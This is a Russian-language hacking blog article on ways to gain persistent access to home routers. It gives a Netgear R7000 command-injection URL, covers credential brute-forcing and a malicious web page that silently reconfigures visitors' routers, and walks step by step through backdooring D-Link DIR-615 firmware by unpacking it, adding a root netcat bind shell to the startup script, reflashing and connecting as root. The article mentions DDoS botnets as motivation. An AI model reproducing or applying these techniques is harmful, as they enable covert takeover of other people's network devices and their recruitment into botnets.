25 февраля, 2021

Cпособы «поселиться» в маршрутизаторах

В данной статье будут рассмотрены все известные (автору) способы поселиться в маршрутизаторах. Сначала будет больше теории и в конце статьи уже будет показан практическое применение одного из способов.
Данная тема достаточно актуальна не только в силу того, что именно подобным методом стали разводить ddos ботов, а потому что сфера IoT устройств развивается семимильными шагами и достаточно функциональные прошивки с доступом к сети стали встравивать во многие продукты бытовой и не только техники.

I. Использование известных дыр.

Польователи обычно не очень любят (точнее не умеют) перенастраивать свой маршрутизатор, обновлять ему прошивку (не ну а вдруг че слетит), поэтому как правило патчи для известных уязвимостей если и выпускаются, то использовать их стремятся далеко не все. Отсюда и большие возможности в поиске давних и не очень багов, написание или поиск под них эксплойтов, отбор подходящих целей (через shodan или самим через zmap и скрипты), и, собственно, заражение.

Иногда достаточно чтобы просто был открыт во внешнюю сеть порт для подключения и можно не зная логина и пароля для входа проэксплуатировать RCE. Например, недавний баг в Netgear R7000 когда для выполнения команды достаточно было пройти в один интересный путь роутера (через внутренний или внешний ip): http://192.168.1.1/cgi-bin/;telnetd$IFS-p$IFS’48’.

II. Брут напрямую.

В эти безхистростные методы входит брут портов, где обычно запущены демоны командных оболочек (SSH, Telnet), то есть 22 и 23 TCP порты или другое управляющее ПО типа SNMP (161 UDP порт). Собственно, рассказывать тут нечего, скриптов для брута куча, да и написать свой проблем ни у кого не составит, с этим все ясно. Обычно именно этим способом размножаются ддос боты.

III. Через веб-интерфейс администрирования.

Если первые 2 способа на ум приходят сразу и можно сказать давно используются (не только по отношению к роутерам), то здесь есть кое-что новое, поэтому его будем разбирать подробно.
Процесс состоит из 3 основных этапов: сбора потенциальных целей, попадания в веб-интерфейс к каждой и получение шелла.

Для сбора целей опять же: shodan/zmap.

Для того, чтобы попасть в веб-интерфейс существует 2 варианта:
Брут, так как для большинства устройств оставляются дефолтные логины и праоли (routerdefaults.org), то брут здесь будет очень эффективен, лишь бы был открыт нужный порт.
Открытие через юзера: пишется js скрипт, в котором через косвенные признаки (js, css, html файлы) определяется модель и марка роутера, затем делается сабмит формы с дефолтными данными и затем выставление нужных настроек (открывается внешний порт для управления) и отправление данных на сервер в случае успеха. Затем на страницу с таким скриптом льется трафик (наработки по данному способу имеются, для желающих потом могу прикрепить к статье).

Читать также:  Взгляд назад в будущее

Теперь остается только получить доступ к командной оболочке и сделать это можно по-разному, ниже будет описано 3 способа.

1. Эксплуатация уязвимостей в запущенном ПО. То есть определяем какие сервисы (каких версий) запущены в нужной прошивке (ниже будет показано, как это можно посмотреть), затем ищем публично известные баги и эксплаутируем их, тут в принципе все ясно.

2. Получение шелла через веб: поиск RCE, RFI, LFI и пр., т.к. в подобных интерфейсах частенько бывают разные возможности по пингу, проверке или редактирвоанию логов и тд, то вполно вероятно, что получится найти одну из уявимостей и залить шелл (или найти из публично известных).

3. Изменение прошивки и ее апгрейд удаленно. То есть разбираем, встраиваем нужный нам бекдор, собираем и обновляем через интерфейс «вручную» (бывает, что для этого нужно быть подключенным к роутеру через ethernet кабель, в этом случае данный трюк конечно не сработает).
Для примера была взята прошивка роутера D-link dir 615. Инжект можно делать в принципе в самоя ядро (как правило Linux), либо в сторонний софт (что полегче), либо в какие-либо bash-скрипты, которые найдутся.
Для извлечения бинарников и других файлов (самой файлововй системы) удобно воспользоваться инструментов Firmware Mod Kit или binwalk. С помощью первого инструмента делается это через скрипт extract-firmware.sh, а binwalk сделает это если запустить его с ключом -e.
Но к сожалению эти инструменты не всегда могут срабатывать или срабатывать правильно (ошибки будут видны в консоли или же будет полупустая папка результатов извлечения). Поэтому нужно знать, как извекается файловая система прошивки в полуручном режиме. Для этого запускаем binwalk c для нашей прошивки:



$ binwalk /path/to/firmware.bin

У меня вывод получился следующим:


DECIMAL HEXADECIMAL DESCRIPTION
———————————————————————————
14360 0x3818 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3764848 bytes
24594 0x6012 MySQL ISAM index file Version 11
1245184 0x130000 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2535868 bytes, 1369 inodes, blocksize: 131072 bytes

Как видим файловая система находится со смещением 1245184, чтобы получить ее в одтедьном файле воспользуемся утилитой dd:


$ dd if=/path/to/firmware.bin of=/path/to/fs.squash bs=1 skip=1245184

На выходе получаем файл fs.squash, который можно скормить скрипту unsquashfs_all.sh из Firmware Mod Kit’а и получить папку с файлами (squashfs-root в моем случае) и разбираться уже в ней.
Правда и собирать после изменения придется все тоже совими руками и тут могут быть различные случаи, поэтому рассматриваться здесь такая сборка не будет.

Начнем изучать структуру файлов и папок (мне удобно делать первую разведку с консольной утилитой tree):


$ cd squashfs-root && tree .

(Вывод был немного урезан, мной, чтобы сразу убрать лишние файлы с рассмотрения)


├── bin
│ ├── ash -> busybox
│ ├── auth├── bin
│ ├── ash -> busybox
│ ├── auth
│ ├── busybox
│ ├── cat -> busybox
│ ├── chat
│ ├── cp -> busybox
│ ├── date -> busybox
│ ├── dd -> busybox
│ ├── dnsmasq_script
│ ├── echo -> busybox
│ ├── false -> busybox
│ ├── grep -> busybox
│ ├── gunzip -> busybox
│ ├── gzip -> busybox
│ ├── iapp
│ ├── igmpx
│ ├── ip
│ ├── iwconfig
│ ├── iwcontrol
│ ├── iwlist
│ ├── iwpriv
│ ├── kill -> busybox
│ ├── l2tpd
│ ├── ln -> busybox
│ ├── login -> busybox
│ ├── ls -> busybox
│ ├── mkdir -> busybox
│ ├── modprobe
│ ├── mount -> busybox
│ ├── nice -> busybox
│ ├── odhcp6c_script
│ ├── ping -> busybox
│ ├── ping6 -> busybox
│ ├── pppd
│ ├── pppoe-relay
│ ├── pptp
│ ├── ps -> busybox
│ ├── resident
│ ├── resident_cli
│ ├── rm -> busybox
│ ├── sh -> busybox
│ ├── sleep -> busybox
│ ├── tar -> busybox
│ ├── touch -> busybox
│ ├── true -> busybox
│ ├── uboot.img
│ ├── umount -> busybox
│ ├── wscd
│ └── zcat -> busybox
├── dev
│ ├── ac0
│ ├── …
│ ├── ttyS3
│ ├── urandom
│ └── zero
├── etc
│ ├── admin.spool
│ ├── config.default
│ ├── default -> /tmp/default
│ ├── ethers -> ../tmp/ethers
│ ├── ethertypes
│ ├── fstab
│ ├── group -> default/group
│ ├── hostname
│ ├── hosts -> /tmp/hosts
│ ├── httpd.conf
│ ├── inetd.conf -> /tmp/inetd.conf
│ ├── init.d
│ │ └── rcS
│ ├── intercept_server.key
│ ├── intercept_server.pem
│ ├── lanwanext.conf.in
│ ├── ld.so.conf
│ ├── motd
│ ├── passwd -> default/passwd
│ ├── ppp -> /tmp/ppp
│ ├── profile
│ ├── protocols
│ ├── resolv.conf -> /tmp/resolv.conf
│ ├── server.key
│ ├── server.pem
│ ├── services
│ ├── simplecfgservice.xml
│ ├── tr069_ca.pem
│ ├── tr069_cert.pem
│ ├── tr069_key.pem
│ ├── tr069.xml
│ ├── TZ -> /tmp/TZ
│ ├── Wireless -> /tmp
│ ├── wireless_country_list
│ └── xl2tpd.conf -> /tmp/xl2tpd.conf
├── home
│ └── default
├── lib
│ ├── ld-uClibc.so.0
│ ├── …
│ └── private
│ ├── libcommon.so
│ ├── libconfig.so
│ └── libresident_cli.so
├── lib32 -> lib
├── lib64 -> lib
├── mnt -> /tmp/mnt
├── opt
├── proc
├── root
├── sbin
│ ├── button_test
│ ├── dcfg
│ ├── ebtables
│ ├── event
│ ├── fw_update
│ ├── halt -> ../bin/busybox
│ ├── ifconfig -> ../bin/busybox
│ ├── init -> dcfg
│ ├── insmod -> ../bin/busybox
│ ├── iwconfig
│ ├── iwgetid -> iwconfig
│ ├── iwlist -> iwconfig
│ ├── iwpriv -> iwconfig
│ ├── iwspy -> iwconfig
│ ├── klogd -> ../bin/busybox
│ ├── led_test
│ ├── logread -> ../bin/busybox
│ ├── lsmod -> ../bin/busybox
│ ├── mfc
│ ├── miniupnpd
│ ├── poweroff -> ../bin/busybox
│ ├── reboot -> ../bin/busybox
│ ├── rmmod -> ../bin/busybox
│ ├── route -> ../bin/busybox
│ ├── syslogd -> ../bin/busybox
│ └── tr069
├── srv
│ └── anweb
│ ├──… [прочие папки с изображениями, html, js, css файлами]
├── sys
├── tmp
│ ├── ripd.conf.sample
│ └── zebra.conf.sample
├── usr
│ ├── bin
│ │ ├── [ -> ../../bin/busybox
│ │ ├── [[ -> ../../bin/busybox
│ │ ├── basename -> ../../bin/busybox
│ │ ├── civetweb
│ │ ├── crontab -> ../../bin/busybox
│ │ ├── free -> ../../bin/busybox
│ │ ├── hexdump -> ../../bin/busybox
│ │ ├── inadyn
│ │ ├── iptables-xml
│ │ ├── killall -> ../../bin/busybox
│ │ ├── logger -> ../../bin/busybox
│ │ ├── md5sum -> ../../bin/busybox
│ │ ├── mtd_write
│ │ ├── nc -> ../../bin/busybox
│ │ ├── nslookup -> ../../bin/busybox
│ │ ├── odhcp6c
│ │ ├── passwd -> ../../bin/busybox
│ │ ├── pmap -> ../../bin/busybox
│ │ ├── renice -> ../../bin/busybox
│ │ ├── roamd
│ │ ├── tail -> ../../bin/busybox
│ │ ├── test -> ../../bin/busybox
│ │ ├── tftp -> ../../bin/busybox
│ │ ├── top -> ../../bin/busybox
│ │ ├── traceroute -> ../../bin/busybox
│ │ ├── traceroute6 -> ../../bin/busybox
│ │ ├── udhcpc
│ │ ├── udpxrec
│ │ └── udpxy
│ ├── lib
│ │ ├── libaxtls.so -> libaxtls.so.1
│ │ ├── …
│ │ └── xtables
│ │ ├── libip6t_ah.so
│ │ ├── …
│ │ └── libxt_udp.so
│ ├── lib32 -> lib
│ ├── lib64 -> lib
│ ├── sbin
│ │ ├── anweb
│ │ ├── brctl -> ../../bin/busybox
│ │ ├── crond -> ../../bin/busybox
│ │ ├── dnsmasq
│ │ ├── drop_caches
│ │ ├── httpd -> ../../bin/busybox
│ │ ├── ip6tables -> ip6tables-multi
│ │ ├── ip6tables-multi
│ │ ├── ip6tables-restore -> ip6tables-multi
│ │ ├── ip6tables-save -> ip6tables-multi
│ │ ├── iptables -> iptables-multi
│ │ ├── iptables-multi
│ │ ├── iptables-restore -> iptables-multi
│ │ ├── iptables-save -> iptables-multi
│ │ ├── link_watcher
│ │ ├── notify_all
│ │ ├── ntpd -> ../../bin/busybox
│ │ ├── nvram
│ │ ├── nvramd
│ │ ├── ripd
│ │ ├── telnetd -> ../../bin/busybox
│ │ ├── vconfig
│ │ └── zebra
│ └── share
│ └── udhcpc
│ └── default.script
├── var -> /tmp/var
└── VERSION

Тут можно уже искать себе цели для реверса/фаззинга, shell-скрипты, которые будут запущены при запуске или в процессе работы. Также теперь можно поискать уязвимые версии ПО, например, меня интересовала версия busybox, для этихи целей есть замечательная утилита strings:


$ strings ./bin/busybox | grep «BusyBox»

BusyBox is a multi-call binary that combines many common Unix
link to busybox for each function they wish to use and BusyBox
syslogd started: BusyBox v1.19.2
BusyBox v1.19.2 (2016-12-01 17:37:52 MSK)

Видно, что версия 1.19.2, в которой, если верить гуглу, udhcpc подвержен CVE-2011-2716 (разбирать ее не стал, т.к. цель — внедрить свой бекдор в прошивку).

Читать также:  Metasploit для начинающего хакера. Часть 14 (создание ресурсных файлов)

Конечно взгляд сразу упал на файл squashfs-root/etc/init.d/rcS, который выполняется при запуске, и в который очень хорошо встраиваюстя свои команды (а они еще и из-под рута будут выполнятся). Дополняем этот файл строчкой:


/bin/busybox nc -nlp 4444 -e /bin/busybox sh &

и можно собирать обратно. Я сделал это скриптом build-firmware.sh из FMK. Конечно предварительно лучше все тестировать через qemu-mips, а не сразу заливать на устройство.
Ну и после прошивки устройства через веб-интерфейс пробуем подконнектится:


$ nc -vn 192.168.0.1 4444

Получаем


Connection to 192.168.0.1 4444 port [tcp/*] succeeded!

Работает! Пробуем:


$ busybox whoami

Получаем:

root

Добавить комментарий